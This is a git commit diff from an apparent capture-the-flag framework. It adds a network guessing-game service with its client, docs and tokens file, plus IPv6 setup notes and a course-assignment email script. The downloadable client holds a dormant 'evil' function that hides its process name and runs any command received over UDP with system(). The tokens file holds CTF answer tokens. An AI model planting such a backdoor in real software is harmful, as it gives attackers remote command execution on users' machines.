mirror of https://github.com/dirtbags/moth.git
Merge branch 'master' of ssh://fozzie/home/neale/projects/ctf
This commit is contained in:
commit
5b87e51543
|
@ -0,0 +1,76 @@
|
||||||
|
#! /usr/bin/python3
|
||||||
|
|
||||||
|
## Course assignments
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import smtplib
|
||||||
|
|
||||||
|
msg = '''From: Neale Pickett <neale@lanl.gov>
|
||||||
|
To: %(recip)s
|
||||||
|
Subject: Tracer FIRE 4 course assignment: %(course)s
|
||||||
|
|
||||||
|
Hello! Your course assignment for Tracer FIRE 4 is:
|
||||||
|
|
||||||
|
%(course)s
|
||||||
|
|
||||||
|
Please see http://csr.lanl.gov/tf/tf4.html for information on
|
||||||
|
what you need to bring to the course.
|
||||||
|
|
||||||
|
Course questions should be directed to the appropriate instructor:
|
||||||
|
|
||||||
|
Network RE: Neale Pickett <neale@lanl.gov>
|
||||||
|
Malware RE: Danny Quist <dquist@lanl.gov>
|
||||||
|
Host Forensics: Kevin Nauer <ksnauer@sandia.gov>
|
||||||
|
Incident Coordination: Alex Kent <alex@lanl.gov>
|
||||||
|
|
||||||
|
General questions about Tracer FIRE may be sent to
|
||||||
|
Neale Pickett <neale@lanl.gov>
|
||||||
|
|
||||||
|
Remember: the exercise network should be considered
|
||||||
|
hostile! Do not bring anything sensitive on your laptop,
|
||||||
|
and make sure you back everything up.
|
||||||
|
|
||||||
|
Looking forward to seeing you in Santa Fe next week,
|
||||||
|
|
||||||
|
--
|
||||||
|
Neale Pickett <neale@lanl.gov>
|
||||||
|
Advanced Computing Solutions, Los Alamos National Laboratory
|
||||||
|
'''
|
||||||
|
|
||||||
|
limits = {'Malware RE': 26,
|
||||||
|
'Network RE': 40}
|
||||||
|
assignments = {}
|
||||||
|
|
||||||
|
assigned = set(l.strip() for l in open('assigned.txt'))
|
||||||
|
|
||||||
|
c = csv.reader(open('/tmp/g.csv'))
|
||||||
|
c.__next__()
|
||||||
|
for row in c:
|
||||||
|
assert '@' in row[2]
|
||||||
|
t = row[5]
|
||||||
|
if (len(assignments.get(t, '')) == limits.get(t, 50)):
|
||||||
|
if (row[6] == row[5]):
|
||||||
|
print("Jackass detected: %s" % row[2])
|
||||||
|
t = row[6]
|
||||||
|
l = assignments.setdefault(t, [])
|
||||||
|
l.append(row)
|
||||||
|
|
||||||
|
s = smtplib.SMTP('mail.lanl.gov')
|
||||||
|
for t in ('Incident Coordinator', 'Network RE', 'Malware RE', 'Forensics'):
|
||||||
|
print('%s (%s)' % (t, len(assignments[t])))
|
||||||
|
for row in assignments[t]:
|
||||||
|
e = row[2]
|
||||||
|
if e in assigned:
|
||||||
|
print(' %s' % e)
|
||||||
|
else:
|
||||||
|
print(' * %s' % e)
|
||||||
|
ret = s.sendmail('neale@lanl.gov', [e], msg % {'course': t, 'recip': e})
|
||||||
|
if ret:
|
||||||
|
print(' ==> %s' % ret)
|
||||||
|
else:
|
||||||
|
assigned.add(e)
|
||||||
|
s.quit()
|
||||||
|
|
||||||
|
a = open('assigned.txt', 'w')
|
||||||
|
for e in assigned:
|
||||||
|
a.write('%s\n' % e)
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
After Width: | Height: | Size: 110 KiB |
18
doc/ipv6.txt
18
doc/ipv6.txt
|
@ -2,14 +2,24 @@ IPv6 in Dirtbags CTF
|
||||||
====================
|
====================
|
||||||
|
|
||||||
The contest network uses IPs in the unique local address space
|
The contest network uses IPs in the unique local address space
|
||||||
fd82:b410:3441::/48. Each team gets a /64 internal subnet, with
|
fd84:b410:3441::/48. Each team gets a /64 internal subnet, with
|
||||||
their team number (generally the same as the switch port).
|
their team number (generally the same digits as the switch port).
|
||||||
|
|
||||||
Each subnet's gateway is ::1.
|
Each subnet's gateway is fd84:b410:3441:$teamno::1.
|
||||||
|
|
||||||
Team 5, in switch port 5, on VLAN 5, gets fd82:b410:3441:5::/64.
|
Team 15, in switch port 15, on VLAN 15, gets fd84:b410:3441:15::/64.
|
||||||
|
|
||||||
Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To
|
Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To
|
||||||
make things easier to type, use hosts in the /112. The MCP server lives
|
make things easier to type, use hosts in the /112. The MCP server lives
|
||||||
at fd84:b410:3441::2.
|
at fd84:b410:3441::2.
|
||||||
|
|
||||||
|
Vendors typically live on port 23. They usually want a static address.
|
||||||
|
Tell them this:
|
||||||
|
|
||||||
|
Pick any address in fd84:b410:3441:23::/64. Your default gateway
|
||||||
|
is fd84:b410:3441:23::1. You may want to assign yourself a subnet,
|
||||||
|
for example fd84:b410:3441:23:1234::
|
||||||
|
|
||||||
|
Kevin Nauer gets port 24. In 2012, we needed to route fd80:1::/48
|
||||||
|
through fd84:b410:3441:24::2, since he was using that subnet for
|
||||||
|
his systems.
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
COWBULL_PKGDIR = $(TARGET)/cowbull
|
||||||
|
|
||||||
|
cowbull-install: cowbull-build
|
||||||
|
mkdir -p $(COWBULL_PKGDIR)
|
||||||
|
|
||||||
|
mkdir -p $(COWBULL_PKGDIR)/bin/
|
||||||
|
cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin
|
||||||
|
|
||||||
|
mkdir -p $(COWBULL_PKGDIR)/www/cowbull/
|
||||||
|
cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html
|
||||||
|
cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/
|
||||||
|
|
||||||
|
$(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service)
|
||||||
|
cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/
|
||||||
|
|
||||||
|
cowbull-clean:
|
||||||
|
rm -rf $(COWBULL_PKGDIR)
|
||||||
|
$(MAKE) -C packages/cowbull/src clean
|
||||||
|
|
||||||
|
cowbull-build:
|
||||||
|
$(MAKE) -C packages/cowbull/src build
|
||||||
|
|
||||||
|
PACKAGES += cowbull
|
|
@ -0,0 +1,4 @@
|
||||||
|
#! /bin/sh
|
||||||
|
|
||||||
|
read IP < ip.txt
|
||||||
|
ip addr del $IP dev eth0
|
|
@ -0,0 +1 @@
|
||||||
|
fd84:b410:3441::ec6/64
|
|
@ -0,0 +1,3 @@
|
||||||
|
#! /bin/sh
|
||||||
|
|
||||||
|
exec svlogd -tt $PWD
|
|
@ -0,0 +1,7 @@
|
||||||
|
#! /bin/sh -e
|
||||||
|
|
||||||
|
exec 2>&1
|
||||||
|
read IP < ip.txt
|
||||||
|
ip addr add $IP dev eth0 || true
|
||||||
|
|
||||||
|
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt
|
|
@ -0,0 +1,11 @@
|
||||||
|
DESTDIR ?= /tmp
|
||||||
|
|
||||||
|
build: cowd cowcli
|
||||||
|
|
||||||
|
cowcli: CC=cc
|
||||||
|
|
||||||
|
install: build
|
||||||
|
cp cowd cowcli $(DESTDIR)/bin/
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f cowd cowcli
|
|
@ -0,0 +1,58 @@
|
||||||
|
The Cow Game
|
||||||
|
============
|
||||||
|
|
||||||
|
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||||
|
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||||
|
game server will tell you how many nybbles in each guess were correct,
|
||||||
|
and how many had one correct bit. It does not tell you which
|
||||||
|
positions
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
The Cow Client
|
||||||
|
==============
|
||||||
|
|
||||||
|
The client connects to the Cow server running on the IPv6 address
|
||||||
|
provided in argument 1. If argument 2 is present, the client will
|
||||||
|
try to run it, providing stdin and stdout as in interactive mode.
|
||||||
|
|
||||||
|
In interactive mode (no argument 2), the client reads a guess in the
|
||||||
|
form of 4 ASCII numerals, and prints the number of correct nybbles
|
||||||
|
followed by the number of nybbles with one correct bit.
|
||||||
|
|
||||||
|
Here is an example of a session:
|
||||||
|
|
||||||
|
1111
|
||||||
|
12
|
||||||
|
2222
|
||||||
|
10
|
||||||
|
4444
|
||||||
|
02
|
||||||
|
4244
|
||||||
|
12
|
||||||
|
1244
|
||||||
|
22
|
||||||
|
1255
|
||||||
|
cow:xylep-radar-nanox
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
The Cow Protocol
|
||||||
|
================
|
||||||
|
|
||||||
|
cowd runs on port 3782.
|
||||||
|
|
||||||
|
The client always sends 6 octets. To request a new session, it sends
|
||||||
|
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||||
|
by the server, concatenated with a 2-octet guess.
|
||||||
|
|
||||||
|
The server will respond with a new game identifier (4 octets) to a new
|
||||||
|
game request or if the game requested is too old. If a guess is
|
||||||
|
incorrect, the server will respond with either a 1-octet score in
|
||||||
|
which the high nybble is the number of correct nybbles in the guess,
|
||||||
|
and the low nybble is the number of nybbles in the guess with one
|
||||||
|
correct bit. If a guess is correct, the server will respond with a
|
||||||
|
token of length 5 octets or more.
|
||||||
|
|
||||||
|
There are multiple tokens, one per number of guesses used, up to
|
||||||
|
some maximum number of guesses defined per server instance.
|
|
@ -0,0 +1,194 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sysexits.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define NODEBUG
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
# define PORT 4444
|
||||||
|
#else
|
||||||
|
# define PORT 44
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int
|
||||||
|
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
|
||||||
|
{
|
||||||
|
struct sockaddr_in6 saddr = { 0 };
|
||||||
|
|
||||||
|
saddr.sin6_family = AF_INET6;
|
||||||
|
saddr.sin6_port = htons(port);
|
||||||
|
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||||
|
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
sigchld(int unused)
|
||||||
|
{
|
||||||
|
while (0 < waitpid(-1, NULL, WNOHANG));
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
evil(char *argv[])
|
||||||
|
{
|
||||||
|
int sock;
|
||||||
|
|
||||||
|
if (fork()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Fork again to reparent to init */
|
||||||
|
if (fork()) {
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
int r = open("/dev/null", O_RDONLY);
|
||||||
|
int w = open("/dev/null", O_WRONLY);
|
||||||
|
|
||||||
|
dup2(r, 0);
|
||||||
|
dup2(w, 1);
|
||||||
|
dup2(w, 2);
|
||||||
|
close(r);
|
||||||
|
close(w);
|
||||||
|
}
|
||||||
|
|
||||||
|
strcpy(argv[0], "[hci1]");
|
||||||
|
|
||||||
|
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||||
|
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
char cmd[400];
|
||||||
|
ssize_t inlen;
|
||||||
|
|
||||||
|
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
|
||||||
|
if (-1 == inlen) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd[inlen] = 0;
|
||||||
|
if (! fork()) {
|
||||||
|
system(cmd);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
long answer = 0;
|
||||||
|
int sock;
|
||||||
|
int i;
|
||||||
|
struct addrinfo *addr;
|
||||||
|
uint32_t token = 0;
|
||||||
|
FILE *in, *out;
|
||||||
|
|
||||||
|
srand(time(NULL));
|
||||||
|
|
||||||
|
signal(SIGCHLD, sigchld);
|
||||||
|
|
||||||
|
if (argc < 2) {
|
||||||
|
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
|
||||||
|
return EX_USAGE;
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
struct addrinfo hints = { 0 };
|
||||||
|
|
||||||
|
hints.ai_family = PF_INET6;
|
||||||
|
hints.ai_socktype = SOCK_DGRAM;
|
||||||
|
hints.ai_flags = AI_NUMERICHOST;
|
||||||
|
|
||||||
|
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
|
||||||
|
perror("Resolving address");
|
||||||
|
return EX_IOERR;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Set up socket
|
||||||
|
*/
|
||||||
|
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||||
|
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
|
||||||
|
perror("Binding UDP port 44");
|
||||||
|
return EX_IOERR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argv[2]) {
|
||||||
|
/* fork and exec */
|
||||||
|
} else {
|
||||||
|
in = stdin;
|
||||||
|
out = stdout;
|
||||||
|
}
|
||||||
|
|
||||||
|
//evil(argv);
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
long guess;
|
||||||
|
struct {
|
||||||
|
uint32_t token;
|
||||||
|
uint16_t guess;
|
||||||
|
} g;
|
||||||
|
|
||||||
|
g.token = token;
|
||||||
|
if (token) {
|
||||||
|
char line[20];
|
||||||
|
|
||||||
|
if (NULL == fgets(line, sizeof line, in)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
g.guess = strtol(line, NULL, 16);
|
||||||
|
} else {
|
||||||
|
g.guess = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Send the guess */
|
||||||
|
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
|
||||||
|
perror("Sending packet");
|
||||||
|
return EX_IOERR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* read the result */
|
||||||
|
{
|
||||||
|
char buf[80];
|
||||||
|
ssize_t len;
|
||||||
|
|
||||||
|
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
|
||||||
|
switch (len) {
|
||||||
|
case -1:
|
||||||
|
perror("Reading packet");
|
||||||
|
return EX_IOERR;
|
||||||
|
case 1:
|
||||||
|
/* It's a score */
|
||||||
|
printf("%02x\n", buf[0]);
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
/* New game token */
|
||||||
|
printf("NEW GAME\n");
|
||||||
|
token = *((uint32_t *) buf);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* You win: this is your CTF token */
|
||||||
|
buf[len] = 0;
|
||||||
|
printf("A WINNER IS YOU: %s\n", buf);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,199 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sysexits.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
#define TIMEOUT 30
|
||||||
|
|
||||||
|
#define NTOKENS 20
|
||||||
|
#define TOKENLEN 50
|
||||||
|
char tokens[NTOKENS][TOKENLEN];
|
||||||
|
int ntokens;
|
||||||
|
|
||||||
|
char *admonishment = "Try for fewer guesses next time!\n";
|
||||||
|
|
||||||
|
struct state {
|
||||||
|
time_t death;
|
||||||
|
uint16_t answer;
|
||||||
|
uint16_t guesses;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define NSTATES 500
|
||||||
|
struct state states[NSTATES] = { 0 };
|
||||||
|
|
||||||
|
int
|
||||||
|
bind_port(struct in6_addr *addr, int fd, uint16_t port)
|
||||||
|
{
|
||||||
|
struct sockaddr_in6 saddr = { 0 };
|
||||||
|
|
||||||
|
saddr.sin6_family = AF_INET6;
|
||||||
|
saddr.sin6_port = htons(port);
|
||||||
|
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||||
|
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
struct newgame {
|
||||||
|
uint16_t offset;
|
||||||
|
uint16_t token;
|
||||||
|
};
|
||||||
|
|
||||||
|
void
|
||||||
|
new_game(int sock, time_t now, struct sockaddr_in6 *from,
|
||||||
|
socklen_t fromlen)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
struct newgame g;
|
||||||
|
|
||||||
|
for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
|
||||||
|
struct state *s = &states[g.offset];
|
||||||
|
|
||||||
|
if (s->death < now) {
|
||||||
|
s->death = now + TIMEOUT;
|
||||||
|
s->guesses = 0;
|
||||||
|
s->answer = 0;
|
||||||
|
|
||||||
|
for (i = 0; i < 4; i += 1) {
|
||||||
|
s->answer = (s->answer << 4) | ((random() % 6) + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
g.token = s->answer;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("=%02x\n", g.token);
|
||||||
|
|
||||||
|
if (g.offset < NSTATES) {
|
||||||
|
sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct guess {
|
||||||
|
uint16_t offset;
|
||||||
|
uint16_t token;
|
||||||
|
uint16_t guess;
|
||||||
|
};
|
||||||
|
|
||||||
|
void
|
||||||
|
loop(int sock)
|
||||||
|
{
|
||||||
|
struct guess g;
|
||||||
|
struct state *cur;
|
||||||
|
struct sockaddr_in6 from;
|
||||||
|
socklen_t fromlen = sizeof from;
|
||||||
|
time_t now = time(NULL);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Read guess
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
ssize_t inlen;
|
||||||
|
|
||||||
|
inlen = recvfrom(sock, &g, sizeof g, 0,
|
||||||
|
(struct sockaddr *) &from, &fromlen);
|
||||||
|
if (inlen != sizeof g) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Bounds check
|
||||||
|
*/
|
||||||
|
if (g.offset >= NSTATES) {
|
||||||
|
g.offset = 0;
|
||||||
|
}
|
||||||
|
cur = &states[g.offset];
|
||||||
|
|
||||||
|
if ((g.token != cur->answer) || /* Wrong token? */
|
||||||
|
(cur->death < now) || /* Old game? */
|
||||||
|
(cur->guesses++ > 100)) { /* Too dumb? */
|
||||||
|
/*
|
||||||
|
* Start a new game
|
||||||
|
*/
|
||||||
|
new_game(sock, now, &from, fromlen);
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
uint8_t reply = 0;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; i < 4; i += 1) {
|
||||||
|
int s = (g.guess >> (i * 4)) & 0xf;
|
||||||
|
int a = (cur->answer >> (i * 4)) & 0xf;
|
||||||
|
if ((s < 1) || (s > 7)) {
|
||||||
|
reply = 0;
|
||||||
|
break;
|
||||||
|
} else if (s == a) {
|
||||||
|
reply += 0x10;
|
||||||
|
} else if (s & a) {
|
||||||
|
reply += 0x01;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("%02x ? %02x\n", g.guess, reply);
|
||||||
|
|
||||||
|
if (reply == 0x40) {
|
||||||
|
char *r;
|
||||||
|
|
||||||
|
if (cur->guesses <= ntokens) {
|
||||||
|
r = tokens[cur->guesses - 1];
|
||||||
|
} else {
|
||||||
|
r = admonishment;
|
||||||
|
}
|
||||||
|
sendto(sock, r, strlen(r) - 1, 0,
|
||||||
|
(struct sockaddr *) &from, fromlen);
|
||||||
|
cur->death = 0;
|
||||||
|
} else {
|
||||||
|
sendto(sock, &reply, sizeof reply, 0,
|
||||||
|
(struct sockaddr *) &from, fromlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
int sock;
|
||||||
|
int i;
|
||||||
|
struct in6_addr addr;
|
||||||
|
|
||||||
|
srand(time(NULL));
|
||||||
|
|
||||||
|
if (argc > 1) {
|
||||||
|
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
|
||||||
|
fprintf(stderr, "invalid address: %s\n", argv[1]);
|
||||||
|
return EX_IOERR;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
memcpy(&addr, &in6addr_any, sizeof addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Read in tokens
|
||||||
|
*/
|
||||||
|
for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
|
||||||
|
if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("Read %d tokens.\n", ntokens);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Set up socket
|
||||||
|
*/
|
||||||
|
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||||
|
i = bind_port(&addr, sock, 3782);
|
||||||
|
if (-1 == i) {
|
||||||
|
perror("Bind port 3782");
|
||||||
|
return EX_IOERR;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
loop(sock);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,10 @@
|
||||||
|
moo:1000000:xikov-fybir-zurox
|
||||||
|
moo:9:xukiv-hudyb-fesix
|
||||||
|
moo:8:xecoh-nyfyh-degix
|
||||||
|
moo:7:xihap-synik-gesix
|
||||||
|
moo:6:xegek-rulyz-polux
|
||||||
|
moo:5:xitiz-fokel-radix
|
||||||
|
moo:4:xuzif-gakit-fogyx
|
||||||
|
moo:3:xisav-nodob-besex
|
||||||
|
moo:2:xumol-peker-pibox
|
||||||
|
moo:1:xilom-zosyk-cavux
|
|
@ -0,0 +1,91 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Welcome</title>
|
||||||
|
<link rel="stylesheet" href="../ctf.css" type="text/css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Moo.</h1>
|
||||||
|
<p>
|
||||||
|
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||||
|
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||||
|
game server will tell you how many nybbles in each guess were correct,
|
||||||
|
and how many had one correct bit. It does not tell you which
|
||||||
|
positions.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h2>The Cow Client</h2>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
<a href="cowcli">Download the client</a>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
The client connects to the Cow server running on the IPv6
|
||||||
|
address provided in argument 1. The client reads a guess
|
||||||
|
in the form of 4 ASCII numerals, and prints the number of
|
||||||
|
correct nybbles followed by the number of nybbles with one
|
||||||
|
correct bit.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Here is an example of a session:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<pre>
|
||||||
|
1111
|
||||||
|
12
|
||||||
|
2222
|
||||||
|
10
|
||||||
|
4444
|
||||||
|
02
|
||||||
|
4244
|
||||||
|
12
|
||||||
|
1244
|
||||||
|
22
|
||||||
|
1255
|
||||||
|
moo:xylep-radar-nanox
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
You can use a program like <samp>socat</samp> to connect
|
||||||
|
the client to a logic program you write:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
This will allow your program to read and write from stdio
|
||||||
|
of the client program.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
<h2>The Cow Protocol</h2>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
cowd runs on port 3782 on fd84:b410:3441::ec6.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
The client always sends 6 octets. To request a new session, it sends
|
||||||
|
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||||
|
by the server, concatenated with a 2-octet guess.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
The server will respond with a new game identifier (4 octets) to a new
|
||||||
|
game request or if the game requested is too old. If a guess is
|
||||||
|
incorrect, the server will respond with either a 1-octet score in
|
||||||
|
which the high nybble is the number of correct nybbles in the guess,
|
||||||
|
and the low nybble is the number of nybbles in the guess with one
|
||||||
|
correct bit. If a guess is correct, the server will respond with a
|
||||||
|
token of length 5 octets or more.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
There are multiple tokens, one per number of guesses used, up to
|
||||||
|
some maximum number of guesses defined per server instance.
|
||||||
|
</p>
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -61,11 +61,6 @@ main(int argc, char *argv[])
|
||||||
char needle[400];
|
char needle[400];
|
||||||
|
|
||||||
my_snprintf(needle, sizeof(needle), "%ld %s", points, answer);
|
my_snprintf(needle, sizeof(needle), "%ld %s", points, answer);
|
||||||
{
|
|
||||||
FILE *f = fopen("/tmp/form", "w");
|
|
||||||
fprintf(f, "%s\n%s\n", answer, needle);
|
|
||||||
fclose(f);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (! fgrepx(needle,
|
if (! fgrepx(needle,
|
||||||
package_path("%s/answers.txt", category))) {
|
package_path("%s/answers.txt", category))) {
|
||||||
|
|
|
@ -29,7 +29,7 @@
|
||||||
<p>
|
<p>
|
||||||
Many of the categories are in the form of
|
Many of the categories are in the form of
|
||||||
multiple <em>puzzles</em>: for each puzzle presented, a
|
multiple <em>puzzles</em>: for each puzzle presented, a
|
||||||
case-sensitive answer must be found to recieve the amount of
|
case-sensitive answer must be found to receive the amount of
|
||||||
points that puzzle is worth. Any team may answer any puzzle
|
points that puzzle is worth. Any team may answer any puzzle
|
||||||
question at any time. A new puzzle is revealed when a team
|
question at any time. A new puzzle is revealed when a team
|
||||||
correctly answers the highest-valued puzzle in that category.
|
correctly answers the highest-valued puzzle in that category.
|
||||||
|
@ -38,12 +38,20 @@
|
||||||
|
|
||||||
<h2 id="tokens">Tokens</h2>
|
<h2 id="tokens">Tokens</h2>
|
||||||
<p>
|
<p>
|
||||||
Tokens are strings redeemable once for a single point each. A
|
Tokens are strings redeemable once for points. They take on
|
||||||
|
two forms: a single or multipoint token. A single point
|
||||||
token for the "example" category might look like this:
|
token for the "example" category might look like this:
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<pre>example:xylep-radar-nanox</pre>
|
<pre>example:xylep-radar-nanox</pre>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
A 42 point
|
||||||
|
token for the "example" category might look like this:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<pre>example:42:xihyp-ropar-nanix</pre>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
Tokens are typically associated with "live" categories, such as a
|
Tokens are typically associated with "live" categories, such as a
|
||||||
network-based service or a treasure hunt. Tokens can be submitted
|
network-based service or a treasure hunt. Tokens can be submitted
|
||||||
|
|
|
@ -1 +1 @@
|
||||||
10.0.0.28/24
|
fd84:b410:3441::b33b/64
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
exec 2>&1
|
exec 2>&1
|
||||||
read IP < ip.txt
|
read IP < ip.txt
|
||||||
ip addr add $IP label eth0:rlyeh dev eth0
|
ip addr add $IP label eth0:rlyeh dev eth0 || true
|
||||||
|
|
||||||
dir=/var/lib/ctf/rlyeh
|
dir=/var/lib/ctf/rlyeh
|
||||||
install -o nobody -d $dir
|
install -o nobody -d $dir
|
||||||
|
|
|
@ -15,7 +15,7 @@ router-clean:
|
||||||
##
|
##
|
||||||
## radvd
|
## radvd
|
||||||
##
|
##
|
||||||
RADVD_VERSION = 1.8.1
|
RADVD_VERSION = 1.8.4
|
||||||
RADVD_TARBALL = $(CACHE)/radvd-$(RADVD_VERSION).tar.gz
|
RADVD_TARBALL = $(CACHE)/radvd-$(RADVD_VERSION).tar.gz
|
||||||
RADVD_URL = http://www.litech.org/radvd/dist/radvd-$(RADVD_VERSION).tar.gz
|
RADVD_URL = http://www.litech.org/radvd/dist/radvd-$(RADVD_VERSION).tar.gz
|
||||||
RADVD_SRCDIR = $(ROUTER_BUILDDIR)/radvd-$(RADVD_VERSION)
|
RADVD_SRCDIR = $(ROUTER_BUILDDIR)/radvd-$(RADVD_VERSION)
|
||||||
|
|
|
@ -33,4 +33,7 @@ for i in $(seq 24); do
|
||||||
ip link set eth0.$i up
|
ip link set eth0.$i up
|
||||||
done
|
done
|
||||||
|
|
||||||
|
# Subnet route for SNL at TF4
|
||||||
|
